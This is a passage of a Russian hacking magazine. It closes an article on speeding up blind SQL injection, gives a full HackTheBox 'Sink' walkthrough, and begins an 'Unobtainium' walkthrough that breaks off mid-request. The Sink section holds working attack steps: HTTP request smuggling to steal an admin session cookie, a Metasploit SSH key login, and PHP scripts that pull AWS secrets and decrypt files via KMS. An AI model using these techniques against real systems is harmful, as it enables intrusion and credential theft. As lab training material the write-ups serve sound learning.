диапаз он [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102]. Граница диапаз она будет проходить между симв олами 55 и 56. 2. Сдел аем запрос с помощью опер атор а сравн ения: (ascii(substr( target_col,5,1)) from target_table limit 2,1) > 55. Ответ поз‐ воляет выбр ать одну из половин изнач альн ого диапазона. Эту техн ику нужн о прим енять, пока в диапазоне не останетс я ровн о 1 симв ол. В результате нам также потр ебуе тся q(16) = 4 запр оса. Данная техника может быть дополнена для выполн ения поиск а ошиб ок с помощью канарее чных символов. 1. Доб авим к перечню значений, которые мы ищем, канареечные знач ения: • одн о меньше самого маленького — 47; • одн о больше самого большого — 103; • одно в проп уске, например 58. 2. Выполним поиск так же, как указ ано выше. Cпис ок возм ожных знач ений — [47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 97, 98, 99, 100, 101, 102, 103]. 3. Найдем середину диапаз она (56) и выполн им сравн ение: (ascii(substr( target_col,5,1)) from target_table limit 2,1) > 56. 4. В результ ате выполн ения запроса мы получим информац ию о том, что целевое знач ение лежит в одном из двух наборов: • [47, 48, 49, 50, 51, 52, 53, 54, 55, 56]; • [57, 58, 97, 98, 99, 100, 101, 102, 103]. 5. Выб ерем середину диапаз она, отправим запр ос, разделим набор на две части и так далее. 6. В итог е мы либо получим значение из изначальн ого диапазона поиск а (оно и будет ответом), либо канареечные значения 47, 103 или 58 (любое из этих значений покажет, что целевог о симв ола в диапаз оне не было). Также мы получим информацию о том, целевой симв ол больш е 102, мень‐ ше 48 или лежит на отрезке 59-96. Если предп олагаемый диапазон имеет более одного разрыва (пусть их r), то количество канарее чных симв олов возрастает: нужно использовать границы 2 + r. Исп ользование диапаз онов с большим количест вом разрывов сниж ает потенциальн ую производительн ость за счет больш его количества канаре‐ ечных символов. Запросы в данн ом случ ае короче, чем те, которые прим еня‐ ются при использовании операторов IN и NOT IN. В случае ошибки мы получае м дополн ительную информацию о том диапаз оне, в котором лежит ошиб очн ый симв ол — слева, справ а или в одном из разрывов. Подстройка диапазона поиска Помимо жестко заданных диапазонов, мы можем модифиц иров ать диапазон в проц есс е проведения атак и, то есть «на лету». Идеи оптимизации Есл и мы уже собрали в данной колонке неск ольк о строк и все эти строки име‐ ют опред еленн ый набор символов, то вероя тно, что и след ующие строк и в этой колонк е будут иметь тот же набор симв олов. Соотв етст венно, мы можем динамич еск и собр ать диапазон использ уемых симв олов и в даль‐ нейшем применять этот диапаз он для поиск а значений в этой колонке. Ошиб‐ ки в предположен ии (напр имер, если нам ни разу не встрет ился символ, который на самом деле может встречатьс я) можн о нивелировать исполь‐ зованием канареечных симв олов. Нек оторые колонки могут иметь жест ко заданные симв олы в определен‐ ных позициях. Например, GUID (прим ер — 6F9619FF-8B86-D011-B42D- 00CF4FC964FF) имее т символ - (минус) на позиция х [8, 13, 18, 23]. Мы можем пров ерить, что все символы на соответст вующей позиции сред и уже собр анных записей имею т один аков ое знач ение и вместо бинарн ого поиск а отправ ить один запрос для проверки этог о симв ола. Можн о пойт и и еще дальш е и на основ е имею щейс я статист ики по встре‐ чающимс я симв олам собирать диапазоны так, чтоб ы поиск симв олов, которые встреч аются чаще, треб овал бы меньше запр осов. Форм альная пос‐ тановк а задачи — форм ирование алгоритма, минимиз ирующего числ о зап‐ росов для обнаружения симв олов на основ е имею щег ося вероя тност ног о распред еления символов. Оптим альн о решить такую задачу можно с помощью H-дерева, используемого в коде Хаффман а. Дейс твит ельн о, задача сжатия аналогичн а нашей задаче: мы хотим находить часто встреч ающиеся симв олы за меньшее количест во запр осов (то есть потратить на них меньше битов), а алгор итм сжат ия — представлять такие символы наименьш им количеством битов. Построение такого дерева треб ует однократн ого прохожд ения по всей собр анной информации для сбо‐ ра стат ист ики. Само пост роение имее т сложн ость O(n ∗ log(n)) (где n — раз‐ мер алфав ита), что не так уж много для алфав итов в нашей задаче. Пусть мы собр али неск олько строк и в них имее тся следующая стат истика расп ред елен ия симв олов: Символ Сколько раз встрет ился Вероятность a 34 47,2% b 7 9,7% c 5 7% d 12 16,7% e 4 5,5% f 10 13,9% Для такой стат истики можно пост роить след ующее оптим альное H-дерево: Для разл ичных символов потребуе тся разл ичное количест во запросов: • для симв ола a — один запрос; • для d, f и b — два запр оса; • для c и e — три запр оса. Матожид ание числа запр осов на один симв ол: 1 ∗ (0, 472) + 2 ∗ (0, 167 + 0, 139 + 0, 097) + 3 ∗ (0, 07 + 0, 055) = 1, 653 При обычном поиске по диапазону оно составило бы q(6) = 2, 67. H-дерево можно периодич еск и перестраи вать по мере появления новой стат ист ики. Поиск в таком случ ае будет чаще треб овать разр ывов в диапа‐ зонах, поэтом у в данн ом случае будет предпочтит ельно использовать технику с опер аторами IN и NOT IN. Выв од: можн о построи ть алгор итм автом атической подстройк и диапа‐ зона поиск а на основе имею щейс я статистики, что позв олит сущест венно поднять скор ость поиска. ДРУГИЕ ИДЕИ ОПТИМИЗАЦИИ Соединение строк Еще один алгор итм оптим изации основ ывается на идее объе дин ения всего ответа в одну строк у через разделители. Это позволяет опред елить длин у строк и один раз и сэконом ить запр осы, однако при этом каждый разд елитель увел ичивает количество символов, которые необх одимо опред елить. Идея алгор итма • Для соединения колонок мы можем использовать операцию конкатенац ии соответст вующей СУБД, ставя межд у ними редк о используемый раз‐ делитель (напр имер, 0x01). Строки (rows) мы также можем объе дин ить с использованием специальных функции (group_concat для MySQL, string_agg для PostgreSQL). В качестве разделител я строк будем исполь‐ зовать тот же самый разделитель 0x01. • Анализируя полученн ый ответ, мы сможем отлич ить начало новой строк и (row), подс читывая количест во колонок. На опред елен ие длин ы строк и мы потратим чуть больше запросов. Однако количество запр осов примерн о равно логарифму длин ы строки и, соотв етственн о, раст ет медл еннее, чем сумм а запросов, которые мы потр атили бы на опред еление длин кажд ой строк и в отдельност и. • Также в данном случ ае мы можем не опред елять длин у строки вовсе, а прост о обнаруживать символы, пока они не кончатся, как опис ано в раз‐ деле «Определение количества row и длин ы строк». Однак о тогд а мы не смож ем оцен ить, сколько врем ени займ ет получен ие данн ых, что, ско‐ рее всего, непр иемлемо на практике. • Количество запр осов, которые будут потрачены на опред елен ие раз‐ делителей, зависит от использ уемог о диапаз она подбора. Разделитель сам по себе добавляется как один символ в диапаз он. Суммарное количест во разделителей равно количеству возв ращ аемых строк минус 1. Таким образом, можн о сказать, что мы заменяе м затраты на определен ие длин строк на затр аты на определен ие разделител ей. • Если считать, что на опред елен ие длины строки в средн ем тратится 7 зап‐ росов, как указ ано в разделе «Опред еление количества записей и длин ы строк», то это позв оляе т сэкономить 7 − q(len(D)) запросов на каждую строку (где D — диапаз он поиск а). Также мы теряем q(len(D)) − q(len(D) − 1) запросов на каждый симв ол, т.к. добавляем разд елитель в диапазон. • Использ овать разн ые диапаз оны для поиск а в разн ых колонках мы можем лишь огран иченно — так как мы используем мног опот очн ость и не можем заранее знать — перевалим мы через разд елитель при подб оре очеред‐ ного симв ола и, соответственн о, попадем в друг ую колонк у или нет. Поэтом у либо мы долж ны использовать широкие диапаз оны, что увел ичи‐ вает q(len(D)) и снижает выигр ыш от отсутст вия необх одимости определе‐ ния длин строк, либо мы можем использ овать соответст вую щие текущей колонке диапазоны и получать дополн ительное количест во ошибок — попаданий в канареечные симв олы с посл едующим повторным поиск ом. Вывод: данная техника прим еним а тольк о в опред еленных случаях, например когд а все целевые колонк и имеют узкий диапазон. Работа с UNICODE В случае, когда в искомом текс те встречаютс я символы, отсутст вую щие в станд артной английской ASCII-табл ице, СУБД применяю т для хран ения Unicode. Причем в некотор ых СУБД (напр имер, MySQL) по умолчанию при‐ меняется UTF-8, а в других (напр имер, PostgreSQL) — UTF-16. В обои х слу‐ чаях преобраз ование симв ола с помощью функции ASCII/UNICODE приведет к получению значения больше 128. Получен ие значения больше 128 и будет для нас триггером того, что в строк е встречаютс я Unicode-символы. Unicode-симв олы имею т характерный вид для разл ичных язык ов. Нап‐ ример, русские букв ы в UTF-8 в качест ве первого байта имею т 0xDO или 0xD1. Если мы работаем с UTF-8, то мы можем предп оложить, что посл е одног о UTF-8 символа с русс кой букв ой будет идти еще один. Тогд а первый байт этого симв ола мы можем эффективн о обнаружить, используя алфавит из двух значений [0xD0,0xD1], а для втор ого байт а мы можем огран ичить поиск только значения ми, которые соответст вуют русс ким буквам. Одн ако такой подх од не очень хорошо совм естим с многопоточным поис‐ ком: вероя тность того, что симв ол, идущий через N символов после текуще‐ го, такж е являе тся русс ким симв олом UTF-8, падает с рост ом N . В слов е на русс ком язык е в UTF-8 каждый второй символ будет 0xD0 или 0xD1, но после конца слова, скорее всего, будет стоять одноб айтовый символ пробела или знак а преп инан ия. Это снижает вероятность того, что через четное число символов посл е встреч енн ого 0xD0 также будет 0xD0 или 0xD1. Вывод: при работе с Unicode возможным решение м являе тся исполь‐ зование одного потока на кажд ую строк у. Сжатие данных Ряд СУБД подд ержив ают встроенные функ ции сжат ия (например, COMPRESS для MySQL и UTL_COMPRESS.LZ_COMPRESS для Oracle). Соответственн о, их прим енен ие позв оляет уменьш ить количество симв олов, которые нам тре‐ буется получить. При этом нам не нужн о делать предп оложен ия об исполь‐ зуемом алфавите: результат сжатия — BLOB. Мы будем использ овать полн ый диапаз он из 256 знач ений. Нужно учит ывать, что функции сжат ия добавляют дополнительные данн ые в начало сжат ого BLOB: разм ер изначальн ой строк и и таблицу обратного прео браз ования. Таким образом, эффект имеется тольк о для длинн ых строк, а для совсем коротких строк эффект вообще может быть отрицательным: SELECT LENGTH(COMPRESS('123')) >> 15 Вывод: подобную техн ику имеет смысл прим енять совместно с техн икой соединения строк. Объе диненная строка будет длинн ой, и алгоритм ы сжатия смог ут сжать ее достаточно эффективн о. Однако мы будем заст авлять СУБД выполн ять процедуру сжатия длинной строк и при каждом запросе, чем можем увел ичить время выполнения кажд ого запроса. А ЧТО ТАМ SQLMAP? Работа с потоками Sqlmap не использ ует многопот очн ость при опред елении количест ва записей или длин строк. Одновременно он ищет только символы одной строк и. Определение длины строки Sqlmap ищет длину строки, если использ уетс я неск ольк о потоков. Если использ уется один поток, то он счит ает, что строк а закончилась, как только обнар ужен перв ый символ 0x00. Поиск символов При поиске симв олов sqlmap использ ует след ующую техн ику: 1. Первый символ ищетс я полн ым перебор ом из 128 симв олов (7 запросов). 2. Далее выбирае тся символ, с которого начнется следующий поиск на основании предыдущ его обнар уженного симв ола: • есл и это цифр а, то sqlmap выбирае т 48 (ASCII-код минимальн ого сим‐ вола, цифры 0); • есл и строчная букв а, то он выбирае т 96 (код a); • если загл авная букв а, то 64 (код A). 3. Дал ее происходит сравн ение с этим опред еленн ым числом и использует‐ ся обычный бинарный поиск в оставшемс я диапазоне. То есть если пре‐ дыдущий символ — буква, то делается снач ала сравн ение с 48, а затем, если искомое значение больше, делае тся поиск в диапаз оне 48-127. Единственное исключ ение: если оказывае тся, что слева от текущего срав‐ нивае мого символа нет ожид аемых, то он сраз у переход ит к сравнению с 1. Если сравн ение с 1 показывает, что целевой симв ол меньш е, то sqlmap счи‐ тает, что нашел конец строк и, и заканчивает поиск. К плюсам данн ого подх ода можно отнести эффективное обна- ружение конц а строки, особенно если посл едний символ строки — числ о. Тогд а конец строки будет определен всего за 3 запр оса. Но эта техн ика име‐ ет и недост аток — низкая эффективность поиск а в части случ аев. Предположим, что предыдущий символ был цифрой. Тогда перв ое срав‐ нение делае тся с 48, и если следующий символ сущест вуе т и больш е 48 (а это наиболее вероя тная ситуация), то на его опред еление будет использован диапаз он из 128 − 48 = 80 симв олов, то есть q(80) = 6, 4 запр осов. При этом один запр ос уже будет сделан для сравн ения с 48, так что суммарно sqlmap потр атит 7,4 запр оса (друг ими словами, появляетс я вероятность, что он пот‐ ратит 8 запр осов). При этом, если бы sqlmap делал полный бинарн ый поиск, то потратил бы ровн о 7 и никак не больш е. Выбор диапазона символов У sqlmap есть параметр --charset, с помощью которого можно задать диапаз он символов, сред и которых будет проводитс я бинарный поиск. Unicode Sqlmap умее т автом атич ески обнар уживать неоднобайт овые симв олы, одна‐ ко работа с ними крайне медленная. В моем экспер именте на поиск одной русс кой букв ы в средн ем уходило 34 запроса. Друг ие рассмотр енные варианты оптимизац ии в sqlmap не реализован ы (по крайн ей мере, я их не обнаружил). ВЫВОДЫ В этой статье я прив ел теорет ическ ий обзор основных спос обов оптимиза‐ ции эксплуатац ии Blind SQL-инъекций. Какие‑то из них более эффективн ы, какие‑то менее, но я попытался прив ест и наибол ее полн ый перечень. Если у тебя есть друг ие идеи и техн ики оптимизации — пиши мне в телеграм @sorokinpf, обсудим! Постепенн о я план ирую реализовать некоторые из опис анн ых способов в свое м фрейм ворк е для эксп луа тац ии Blind SQL-инъекций — sqli_blinder (да, с фантазией у меня так себе). На данный момент фреймворк реализ ует банальный бинарн ый поиск, подд ержив ает работу с SQLite, MSSQL, Oracle, MySQL и PostgreSQL. Для работы с ним необх одимо написать одну функцию на python, которая определит, куда фрейм ворку подставл ять запр осы и как анализировать ответы.
ВЗЛОМ HTB SINK УЧИМСЯ ПРЯТАТЬ ЗАПРОСЫ HTTP И РАЗБИРАЕМСЯ С AWS SECRETS MANAGER В этой статье мы пройдем машину Sink RalfHacker [email protected] с площ адк и HackTheBox. Для этог о нам понадобится проэ ксп луа тировать уяз‐ вимость HTTP Request Smuggling, а получив точк у опор ы, будем разбираться с тех‐ нологией AWS Secrets Manager. Скучать точно не прид етс я! WARNING Подк лючаться к машинам с HTB рекомендуетс я тольк о через VPN. Не делай этог о с компьютер ов, где есть важные для тебя данн ые, так как ты ока‐ жешься в общей сети с другими участ ник ами. РАЗВЕДКА Сканирование портов Адр ес машины — 10.10.10.225, добавл яем его в /etc/hosts как sink.htb. Справка: сканирование портов Скан ирование порт ов — стандарт ный перв ый шаг при любой атак е. Он поз‐ воляет атак ующему узнать, какие служб ы на хост е принимают соединение. На основ е этой информации выбирается след ующий шаг к получен ию точк и вход а. Наи бол ее известный инструм ент для сканиров ания — это Nmap. Улучшить результ аты его работы ты можешь при помощи след ующег о скрипта. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Он дейс твует в два этап а. На первом производ итс я обычное быст рое ска‐ нирование, на втор ом — более тщательн ое сканирование, с использ ованием имеющихс я скриптов (опция -A). Рез ульт ат работы скрипт а В результате сканиров ания находим три открытых порта: 22 (служб а SSH), 3000 (Gitea) и 5000 (Gunicorn). Начнем с Git. Обнаруженн ые имена пользовател ей Мы видим какие‑то имена польз ователей (запишем их, могут приг одиться!), но больш е ничего интересн ого нет. Поэтом у переходим к Gunicorn. На сайт е, который он отдае т, нужно регистрироваться. Сделаем это, автор изуе мся и посмотрим, что нам стан ет доступно. Осм отр сайт ов я рекомендую пров одить через Burp, чтобы можно было просм отреть все отправл яемые и получае мые данн ые. Так после отправк и комм ентар ия в ответ е замечаем заголов ок Via. Это заголов ок для прокс и, в котором указано haproxy. Запрос в истор ии Burp Отв ет серв ера в истор ии Burp HAProxy — это серверное прил ожен ие, которое обеспечивает высокую дос‐ тупность сайта и баланс ирует нагр узку TCP и HTTP-прил ожений между нес‐ колькими серверами. Дальш е я попытался поск анировать директории. У меня ничего не вышл о, зато сообщ ение об ошибке помогл о выясн ить использ уемую версию HAProxy — 1.9.10. Ошибк а, полученн ая при сканиров ании директ орий Пог угл ив, узнаем, что эта верс ия уязв има к атаке HTTP Request Smuggling. ТОЧКА ВХОДА HTTP Request Smuggling HTTP Request Smuggling — это метод вмеш ательс тва в проц есс обраб отки сайтом HTTP-запр осов, полученных от одного или нескольк их польз ователей. Уязв имость част о имеет критическ ий характер и позв оляет злоу мышл еннику обойт и меры безопасн ости, получить несанк цио нированный дост уп к кон‐ фиденц иальн ым данн ым и напрямую поставить под угроз у друг их польз овате‐ лей прил ожения. Уязвимость возн икает из‑за того, что спец ифик ация HTTP предост авляе т два разн ых спос оба указ ать, где заканчивае тся запр ос: заголов ок Content-Length и заголовок Transfer-Encoding. Заголовок Content-Length прост: он опред еляе т длин у тела сообщения в байтах. Напр имер: POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 6 p=test Заголов ок Transfer-Encoding может применяться для указ ания того, что использ уется тело сообщения с фрагм ентированным кодиров анием. Это значит, что тело сообщения содерж ит один или нескольк о блоков данных. Блоки устроены так. Сначала идет размер блок а в байт ах (в hex), затем знак новой строк и, а дальше — содержимое блока. Сообщение заканчивае тся блоком нулевог о разм ера. Напр имер: POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked a param=test 0 Так мы можем использ овать одновременн о два заголовка. Перв ый серв ер будет разделять запр осы по первому заголовку, а второй — по втор ому, тем самым встраи вая свои запросы и пропуск ая их дальш е. Приступим к реализ ации. Отправим комментарий и перехватим запрос в Burp Proxy. Запрос на серв ер Его стои т прео бразовать след ующим образом: укажем заголов ок Transfer- Encodeing:[\\x0b]chunked и поменяем значение Connection на keep- alive. Посл е чего дубл ируем заголовк и запроса в тело запроса. Изм ененный запр ос Посл е редирект а видим явно не тот комм ентарий, который отправл яли. Отв ет в Burp Комм ентар ии на странице сайт а Дел о в том, что внутр енний серв ер непр авильно интерпретировал размер переданн ых данн ых из‑за путаниц ы в определяю щих его HTTP заголовках, поэтом у отобр азил больш е информации, чем долж ен был. Блок дополнитель‐ ной информации, отображенной в комм ентарии, был взят из след ующег о запроса другого пользовател я. В этом запросе передавались cookie другого польз овател я, которые мы сразу подс тавл яем себе и перезагружаем стра‐ ницу. Как можн о заметить, в данный момент мы имее м сессию админ ист ра‐ тора сайта. Шапк а сайт а Так как это сервис хран ения заметок, сраз у просмотрим, что может хран ить админ. Находим три заметки. Записи админ ист ратора Кажд ая из них содерж ит учетные данн ые. Сод ержимое заметок админ истратора ТОЧКА ОПОРЫ С найд енн ыми учетными данн ыми получае тся автор изов атьс я в Git от имени root. Находим очень много коммитов, которые стои т просмотреть. Оттуд а мы можем получить еще какие‑нибудь учетн ые данн ые, секреты, токены или прост о узнать используемые техн ологии. Стран ица Git пользовател я root Я начал просм отр с конц а. Важн ые данные нашл ись в комм ите вот по этой ссылк е: http://sink.htb:3000/root/Log_Management/commit/ e8d68917f2570f3695030d0ded25dc95738fb1baa Исходный код logs.php А в этом коммите нашелся приватный ключ: http://sink.htb:3000/root/Key_Management/commit/ b01a6b7ed372d154ed0bc43a342a5e1203d07b1e Исходный код dev_keys Необход имо пров ерить этот ключ. Для этог о сформируем список пользовате‐ лей и попытае мся подк люч иться по SSH. Для автом атиз ации я использ овал Metasploit Framework. msfconsole use auxiliary/scanner/ssh/ssh_login_pub set RHOSTS sink.htb set USER_FILE users.txt set KEY_PATH root.key run Наст ройка Metasploit для перебора пользователей Рез ультат перебора польз ователей В итог е находим пользователя, к учетке которог о подходит ключ. Так мы получае м стабильн ую точку опор ы в виде дост упа по SSH. Флаг польз ователя →Продолжение статьи
ВЗЛОМ ← НАЧАЛО СТАТЬИ HTB SINK УЧИМСЯ ПРЯТАТЬ ЗАПРОСЫ HTTP И РАЗБИРАЕМСЯ С AWS SECRETS MANAGER ПРОДВИЖЕНИЕ AWS Secrets Manager В репозит ории мы нашли секр ет и ключ для AWS. Проверим, работает ли этот серв ис на хост е, а именн о — открыт ли порт 4566. Пров ерк а доступност и порта Порт открыт, AWS работае т. Теперь можн о с полн ой уверенн остью сказ ать, что мы нашл и дальн ейший вект ор атаки. AWS Secrets Manager позволяе т защищать конф иденц иальн ые данные, использ уемые для доступа к приложе‐ ниям, сервисам и друг им ресурс ам. Серв ис предназначен для упрощения ротации и извлечения данн ых для дост упа к БД, ключей API и друг их кон‐ фиденциальн ых данных, а также управления ими. Чтоб ы продвинутьс я даль‐ ше, нам нужно захватить учетк у другого польз овател я, и это отличное место для поиск ов. Секр ет и ключ дает нам возможность получить критическ ие данн ые. Для этого мы использ уем SecretsManagerClient из репозитория и код из документ ации. Но сперв а тунн елируем порт: sudo ssh -L 4566:127.0.0.1:4566 -i root.key [email protected] Таким образ ом весь траф ик, который мы пошл ем на локальн ый порт 4566, будет туннелиров ан на порт 4566 удал енн ого хост а. А теперь, использ уя код из документации с подставленными данными SecretsManagerClient, получим спис ок сохраненных секретов. <?php require 'vendor/autoload.php'; use Aws\\SecretsManager\\SecretsManagerClient; use Aws\\Exception\\AwsException; $client = new SecretsManagerClient([ 'region' => 'eu', 'endpoint' => 'http://127.0.0.1:4566', 'credentials' => [ 'key' => 'AKIAIUEN3QWCPSTEITJQ', 'secret' => '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' ], 'version' => 'latest' ]); try { $result = $client->listSecrets([ ]); var_dump($result); } catch (AwsException $e) { // output error message if fails echo $e->getMessage(); echo \"\\n\"; } ?> Список сохраненн ых секр етов. Так как мы имеем секреты, мы можем получить хранящиеся знач ения. Такж е используем док умент ацию, найденн ые секреты и данные из репозитория. <?php require 'vendor/autoload.php'; use Aws\\SecretsManager\\SecretsManagerClient; use Aws\\Exception\\AwsException; $client = new SecretsManagerClient([ 'region' => 'eu', 'endpoint' => 'http://127.0.0.1:4566', 'credentials' => [ 'key' => 'AKIAIUEN3QWCPSTEITJQ', 'secret' => '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' ], 'version' => 'latest' ]); $secretName = [\"arn:aws:secretsmanager:us-east-1:1234567890:secret: Jenkins Login-ElTxf\",\"arn:aws:secretsmanager:us-east-1:1234567890: secret:Sink Panel-qZfJI\",\"arn:aws:secretsmanager:us-east-1: 1234567890:secret:Jira Support-GoJSC\"]; for($i=0; $i<3; $i+=1){ try { $result = $client->getSecretValue([ 'SecretId' => $secretName[$i], ]); } catch (AwsException $e) { $error = $e->getAwsErrorCode(); if ($error == 'DecryptionFailureException') { throw $e; } if ($error == 'InternalServiceErrorException') { throw $e; } if ($error == 'InvalidParameterException') { throw $e; } if ($error == 'InvalidRequestException') { throw $e; } if ($error == 'ResourceNotFoundException') { throw $e; } } if (isset($result['SecretString'])) { $secret = $result['SecretString']; } else { $secret = base64_decode($result['SecretBinary']); } echo $secret . \"\\n\"; } ?> Сохр аненн ые в AWS данн ые Так мы получае м учетн ые данные трех пользователей. Пользователь david присутст вуе т в системе, и найденный пароль позволяе т авторизов атьс я от его имени. Смена польз овател я ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ В домашн ей директории находим какой‑то прое кт, а в нем — зашифр ованный файл. Результ ат работы скрипт а Так как файл зашифр ован, а мы уже имел и дело с AWS, давай попробуе м и расшифровать его с помощью AWS. Сначала нужно получить список клю‐ чей, шаблон кода снов а берем из документ ации. <?php require 'vendor/autoload.php'; use Aws\\Kms\\KmsClient; use Aws\\Exception\\AwsException; $KmsClient = new Aws\\Kms\\KmsClient([ 'version' => 'latest', 'region' => 'eu', 'credentials' => [ 'key' => 'AKIAIUEN3QWCPSTEITJQ', 'secret' => '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' ], 'endpoint' => 'http://127.0.0.1:4566' ]); $limit = 10; try { $result = $KmsClient->listKeys([ 'Limit' => $limit, ]); var_dump($result); } catch (AwsException $e) { // output error message if fails echo $e->getMessage(); echo \"\\n\"; } ?> Пол учение ключей AWS Имея список ключ ей, давай попробуем расшифров ать сообщ ение. Сначала закодир уем в Base64 для удобст ва работы. Кодиров ание сообщ ения И снов а формируе м код для дешифровки из шаблона. <?php require 'vendor/autoload.php'; use Aws\\Kms\\KmsClient; use Aws\\Exception\\AwsException; $KmsClient = new Aws\\Kms\\KmsClient([ 'version' => 'latest', 'region' => 'eu', 'credentials' => [ 'key' => 'AKIAIUEN3QWCPSTEITJQ', 'secret' => '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' ], 'endpoint' => 'http://127.0.0.1:4566' ]); $keys = [ \"0b539917-5eff-45b2-9fa1-e13f0d2c42ac\", \"16754494-4333-4f77-ad4c-d0b73d799939\", \"2378914f-ea22-47af-8b0c-8252ef09cd5f\", \"2bf9c582-eed7-482f-bfb6-2e4e7eb88b78\", \"53bb45ef-bf96-47b2-a423-74d9b89a297a\", \"804125db-bdf1-465a-a058-07fc87c0fad0\", \"837a2f6e-e64c-45bc-a7aa-efa56a550401\", \"881df7e3-fb6f-4c7b-9195-7f210e79e525\", \"c5217c17-5675-42f7-a6ec-b5aa9b9dbbde\", \"f0579746-10c3-4fd1-b2ab-f312a5a0f3fc\" ]; $CT = \"mXMs+8ZLEp9krGLLJT2YHLgHQP/ uRJYSfX+YTqar7wabvOQ8PSuPwUFAmEJh86q3kaURmnRxr/ smZvkU6Pp0KPV7ye2sP10hvPJDF2mkNcIEVif3RaMU08jZi7U/ ghZyoXseM6EEcu9c1gYpDqZ74CMEh7AoasksLswCJJZYI0TfcvTlXx84XBfCWsK7cTyDb 4SughAq9MY89Q6lt7gnw6IwG/ tSHi9a1MY8eblCwCMNwRrFQ44x8p3hS2FLxZe2iKUrpiyUDmdThpFJPcM3uxiXU+cuyZJ gxzQ2Wl0Gqaj0RpVD2w2wJGrQBnCnouahOD1SXT3DwrUMWXyeNMc52lWo3aB+mq/ uhLxcTeGSImHJcfUYYQqXoIrOHcS7O1WFoaMvMtIAl+uRslGVSEwiU6sVe9nMCuyvrsbs Q0N46jjro5h1nFmTmZ0C1Xr97Go/ pHmJxgG1lxnOepsglLrPMXc5F6lFH1aKxlzFVAxGKWNAzTlzGC+HnBXjugLpP8Shpb24H Pdnt/ fF/dda8qyaMcYZCOmLODums2+ROtrPJ4CTuaiSbOWJuheQ6U/ v5AbeQSF93RF28iyiA905SCNRi3ejGDH65OWv6aw1VnTf8TaREPH5ZNLazTW5Jo8kvLqJ aEtZISRNUEmsJHr79U1VjpovPzePTKeDTR0qosW/ GJ8=\"; for ($i=0; $i<count($keys); $i++) { try { $result = $KmsClient->enableKey([ 'KeyId' => $keys[$i], ]); $result = $KmsClient->decrypt([ 'CiphertextBlob' => base64_decode($CT), 'KeyId' => $keys[$i], 'EncryptionAlgorithm' => 'RSAES_OAEP_SHA_256', ]); echo base64_encode($result[\"Plaintext\"]); } catch (AwsException $e) { // output error message if fails echo $e->getMessage(); echo \"\\n\"; } } ?> Дешифровка файла Среди кучи ошиб ок видим закодир ованные данные. Это наш расшифров ан‐ ный файл. Декодируем строку и записываем файл. Также нам нужно узнать, что это за файл. echo [base64 строка] | base64 -d > servers file servers Опр еделен ия типа файла Это архив gzip. Читать файлы из него можн о утил итой zcat. Чтен ие gzip Видим пару из логина и пароля. Пробуем пароль к root... Флаг рута И получаем полный контроль над машиной.
ВЗЛОМ HTB UNOBTAINIUM УЧИМСЯ РАБОТАТЬ С KUBERNETES В РАМКАХ ПЕНТЕСТА В этой статье я покажу, как проходится RalfHacker [email protected] сложная машина Unobtainium с площ адки Hack The Box. Мы пров едем тест ирован ие клиент‑серверног о приложен ия, серверная часть которог о написан а на Node.js. А затем поработ аем с оркест рат ором Kubernetes и через него захв атим флаг рута. WARNING Подк лючатьс я к машинам с HTB рекоменд уетс я только через VPN. Не делай этог о с компьютеров, где есть важные для тебя данн ые, так как ты ока‐ жешьс я в общей сети с другими участниками. РАЗВЕДКА /etc/hosts Сканирование портов Добавляем адрес машины 10.10.10.235 в файл как unobtainium.htb и запускаем сканиров ание порт ов. Справка: сканирование портов Сканирование порт ов — станд арт ный первый шаг при любой атак е. Он поз‐ воляе т атак ующему узнать, какие служб ы на хосте прин имают соедин ение. На основе этой информации выбирается следующий шаг к получен ию точк и вход а. Наибол ее извест ный инст румент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипт а. #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\\n' ',' | sed s/,$//) nmap -p$ports -A $1 Он действует в два этап а. На перв ом прои зводитс я обычн ое быст рое ска‐ ниров ание, на втором — более тщательн ое скан иров ание, с использование м имеющихся скриптов (опция -A). Рез ультат работы скрипта Рез ульт ат работы скрипт а (прод олжение) Рез ультат работы скрипта (оконч ание) По результ атам сканирования имее м восемь открытых портов: • порт 22 — служба SSH; • порт 80 — Apache httpd 2.4.41; • порты 2379, 2380 — пока неясно, что это; • порт 8443 — тоже веб‑серв ер; • порт ы 10250, 10256 — Golang HTTP-Server; • порт 31337 — Node.js Express framework. Начн ем с осмотра сайта. Стартовая стран ица сайт а Здесь нам дают только скачать какое‑то прил ожение, что мы и делае м. Ска‐ чиваем пакет .deb и разв орачиваем, чтоб ы не устан авл ивать на локальный хост. Затем находим исполняе мый файл и запускаем прил ожение. mkdir ubo ; cd mkdir dpkg-deb -xv unobtainium_1.0.0_amd64.deb . ./opt/unobtainium Распаковк а пакета deb Главн ое окно прил ожения Изучив приложен ие, понимае м, что оно имеет клиент‑серверную архит ект уру. Здесь есть форма отправк и сообщ ений и возм ожность смотреть спис ок дел. Спис ок выглядит вот так: 1. Create administrator zone. 2. Update node JS API Server. 3. Add Login functionality. 4. Complete Get Messages feature. 5. Complete ToDo feature. 6. Implement Google Cloud Storage function. 7. Improve security. Спис ок todo Анализ трафика Итак, мы узнали, что использ уетс я технология Node.js, есть автор изац ия и разд еление привилег ий (пункт 1). Поск ольк у приложение — это клиент, можем предположить, что оно стуч ится на порт 31337, обнар уженный нами при сканировании. Нам нужно проверить это предположение, а поможет нам в этом Wireshark. Открываем его и запускаем наше прил ожен ие снова. Траф ик прил ожен ия в Wireshark Вид им, что приложение работае т по HTTP и действительно подк лючаетс я к порту 31337. Адрес серверной част и прил ожения Попробуем вручную использовать функции приложен ия, чтобы узнать, как именно они работаю т. Запросим список дел и отправим какое‑нибудь сообщение. Запр ос и ответ при обращении к todo Запрос и ответ при отправке сообщ ения Мы можем скоп иров ать оба запр оса и перенест и их в Burp Repeater для даль‐ нейшег о тест ирован ия. Также для удобст ва можно переимен овать вкладки. PUT / HTTP/1.1 Host: unobtainium.htb:31337 Connection: keep-alive Content-Length: 79 Accept: application/json, text/javascript, */*; q=0.01 User-Agent: Mozilla/5.0 (X11; 